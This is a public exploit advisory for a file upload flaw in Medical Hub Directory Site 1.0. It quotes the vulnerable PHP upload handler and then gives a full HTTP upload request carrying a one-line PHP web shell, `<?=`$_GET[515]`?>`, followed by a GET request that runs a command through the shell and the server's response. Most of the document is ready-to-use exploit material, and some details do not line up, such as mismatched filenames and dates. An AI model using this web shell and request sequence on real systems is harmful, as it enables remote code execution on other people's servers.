Medical Hub Directory Site version 1.0 suffers from a remote shell upload vulnerability.
ffe084c81f86be734713f633ce322060
# Title: Medical Hub Directory Site 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 30.07.2022
# Vendor: https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/mhds.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files
php```
$img_err= "";
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = 'uploads/system-logo.png';
$dir_path =base_app. $fname;
$upload = $_FILES['img']['tmp_name'];
$type = mime_content_type($upload);
$allowed = array('image/png','image/jpeg');
if(!in_array($type,$allowed)){
$img_err.=" But Logo Image failed to upload due to invalid file type.";
}else{
// $new_height = 200;
// $new_width = 200;
list($width, $height) = getimagesize($upload);
$t_image = imagecreatetruecolor($width, $height);
$black = imagecolorallocate($t_image, 0, 0, 0);
imagecolortransparent($t_image, $black);
imagealphablending( $t_image, false );
imagesavealpha( $t_image, true );
$gdImg = ($type == 'image/png')? imagecreatefrompng($upload) : imagecreatefromjpeg($upload);
imagecopyresampled($t_image, $gdImg, 0, 0, 0, 0, $width, $height, $width, $height);
if($gdImg){
if(is_file($dir_path))
unlink($dir_path);
$uploaded_img = imagepng($t_image,$dir_path);
if($uploaded_img){
if(isset($_SESSION['system_info']['logo'])){
$qry = $this->conn->query("UPDATE system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)) where meta_field = 'logo' ");
}else{
$qry = $this->conn->query("INSERT into system_info set meta_value = CONCAT('{$fname}','?v=',unix_timestamp(CURRENT_TIMESTAMP)),meta_field = 'logo' ");
}
}
imagedestroy($gdImg);
imagedestroy($t_image);
}else{
$img_err.=" But Logo Image failed to upload due to unkown reason.";
}
}
}
```
[+] Payload POST
```
POST /mhds/admin/?page=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/mhds/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png
<?=`$_GET[515]`?>
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="submit"
-----------------------------409902128312379197203124536738--
```
#Status: CRITICAL
[+] Payload GET
```
GET /mhds/uploads/users/0day_hejap.png.php?515=echo+Hejap+Zairy HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1
```
#Response
```
HTTP/1.1 200 OK
Date: Thu, 30 Mar 2022 11:15:56 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8
Hejap Zairy
```
# Description:
The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.
# Proof and Exploit:
https://i.imgur.com/N9rKLB4.png
https://i.imgur.com/CrpqRox.png
https://i.imgur.com/Un1sM4Q.png